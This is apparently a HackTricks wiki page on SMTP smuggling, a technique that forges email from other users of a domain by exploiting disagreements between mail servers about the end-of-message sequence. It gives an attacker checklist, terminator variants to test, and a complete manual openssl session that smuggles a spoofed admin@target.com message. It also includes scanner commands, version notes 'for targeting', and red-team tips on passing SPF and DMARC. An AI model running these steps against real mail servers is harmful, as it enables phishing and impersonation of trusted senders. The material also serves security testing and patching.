SMTP Smuggling
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: 
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
 - Join the đŹ Discord group or the telegram group or follow us on Twitter đŠ @hacktricks_live.
 - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
 
Basic Information
This type of vulnerability was originally discovered in this post were it's explained that It's possible to exploit discrepancies in how the SMTP protocol is interpreted when finalising an email, allowing an attacker to smuggle more emails in the body of the legit one, allowing to impersonate other users of the affected domain (such as admin@outlook.com) bypassing defenses such as SPF.
Why
This is because in the SMTP protocol, the data of the message to be sent in the email is controlled by a user (attacker) which could send specially crafted data abusing differences in parsers that will smuggle extra emails in the receptor. Take a look to this illustrated example from the original post:
 (1) (1) (1) (1).png)
How
In order to exploit this vulnerability an attacker needs to send some data that the Outbound SMPT server thinks that it's just 1 email but the Inbound SMTP server thinks that there are several emails.
The researchers discovered that different Inboud servers considers different characters as the end of the data of the email message that Outbound servers doesn't.
For example, a regular end of the data is \r\n.\r. But if the Inbound SMTP server also supports \n., an attacker could just add that data in his email and start indicating the SMTP commands of a new new ones to smuggle it just like in the previous image.
Ofc, this could only work if the Outbound SMTP server doesn't also treat this data as the end of the message data, because in that case it will see 2 emails instead of just 1, so at the end this is the desynchronization that is being abused in this vulnerability.
Potential desynchronization data:
\n.\n.\r
Also note that the SPF is bypassed because if you smuggle an email from admin@outlook.com from an email from user@outlook.com, the sender is still outlook.com.
Attackerâs checklist (what conditions must hold?)
To successfully smuggle a second email, you typically need:
- An outbound server A you can send through (often with valid creds) that will forward a nonâstandard endâofâDATA sequence unchanged. Many services historically forwarded variants like 
\n.\r\nor\n.\n. - A receiving server B that will interpret that nonâstandard sequence as endâofâDATA and then parse whatever follows as new SMTP commands (MAIL/RCPT/DATA...).
 - Outbound must actually send with 
DATA(notBDAT). If A supports CHUNKING/BDAT, smuggling only works if it falls back to DATA (e.g., B doesnât advertise CHUNKING), otherwise lengthâframed BDAT prevents ambiguity. - PIPELINING isnât required but helps hiding the injected commands in a single TCP write so intermediate devices donât resynchronize.
 
Common endâofâDATA variants worth testing (receiver-dependent):
\n.\n\n.\r\n\r.\r\n\r\n.\r(bare CR at end)
Note: What works is the intersection of âwhat A forwardsâ â© âwhat B acceptsâ.
Manual exploitation example (single session)
The following shows the idea using a raw STARTTLS SMTP session. After the first DATA block we insert a nonâstandard terminator, then another SMTP dialog that the receiving server may treat as a new message.
Manual smuggling session (STARTTLS)
$ openssl s_client -starttls smtp -crlf -connect smtp.example.com:587
EHLO a.example
AUTH PLAIN <base64(\0user@example.com\0password)>
MAIL FROM:<user@example.com>
RCPT TO:<victim@target.com>
DATA
From: User <user@example.com>
To: victim <victim@target.com>
Subject: legit
hello A
\n.\r\nMAIL FROM:<admin@target.com>
RCPT TO:<victim@target.com>
DATA
From: Admin <admin@target.com>
To: victim <victim@target.com>
Subject: smuggled
hello B
\r\n.\r\n
If A forwards \n.\r\n and B accepts it as endâofâDATA, message âhello Bâ may be accepted as a second email from admin@target.com while passing SPF (aligned with Aâs IPs).
Tip: When testing interactively, ensure -crlf is used so OpenSSL preserves CRLF in what you type.
Automation and scanners
- hannob/smtpsmug: send a message ending with multiple malformed endâofâDATA sequences to see what a receiver accepts.
- Example: 
./smtpsmug -s mail.target.com -p 25 -t victim@target.com 
 - Example: 
 - TheâLogin/SMTPâSmugglingâTools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.
- Inbound quick check: 
python3 smtp_smuggling_scanner.py victim@target.com - Outbound via a relay: 
python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...' 
 - Inbound quick check: 
 
These tools help you map the AâB pairs where smuggling actually works.
CHUNKING/BDAT vs DATA
- DATA uses a sentinel terminator 
<CR><LF>.<CR><LF>; any ambiguity in how CR/LF are normalized or dotâstuffed leads to desync. - CHUNKING (BDAT) frames the body with an exact byte length and therefore prevents classic smuggling. However, if the sender falls back to DATA (because the receiver doesnât advertise CHUNKING), classic smuggling becomes possible again.
 
Notes on affected software and fixes (for targeting)
- Postfix: prior to 3.9 the default tolerated bare LFs; from 3.5.23/3.6.13/3.7.9/3.8.4 admins can enable 
smtpd_forbid_bare_newline. Current recommendation issmtpd_forbid_bare_newline = normalize(3.8.5+/3.7.10+/3.6.14+/3.5.24+) or set torejectfor strict RFC enforcement. - Exim: fixed in 4.97.1 (and later) for variants relying on mixed endâofâDATA sequences when DATA is used. Older 4.97/4.96 may be exploitable depending on PIPELINING/CHUNKING.
 - Sendmail: fixed in 8.18; older 8.17.x accepted some nonâstandard terminators.
 - Various libraries/servers (e.g., aiosmtpd before 1.4.5, some vendor gateways, and specific SaaS relays) had similar issues; modern versions tend to accept DATA only with strict 
<CR><LF>.<CR><LF>. 
Use the scanners above to verify current behavior; many vendors changed defaults in early 2024â2025.
Tips for red team ops
- Favor large commodity senders for A (historically Exchange Online, shared hosters, etc.). If they still forward some nonâstandard EOM and theyâre in the victimâs SPF, your smuggled MAIL FROM will inherit their reputation.
 - Enumerate Bâs SMTP extensions: 
EHLObanner for PIPELINING/CHUNKING; if CHUNKING is missing you have a better chance from BDATâfirst senders. Combine with malformed EOMs to probe acceptance. - Watch headers: the smuggled message will usually create a separate Received chain starting at B. DMARC will often pass because MAIL FROM aligns with Aâs IP space.
 
References
- https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
 - https://www.postfix.org/smtp-smuggling.html
 
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: 
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
 - Join the đŹ Discord group or the telegram group or follow us on Twitter đŠ @hacktricks_live.
 - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
 
HackTricks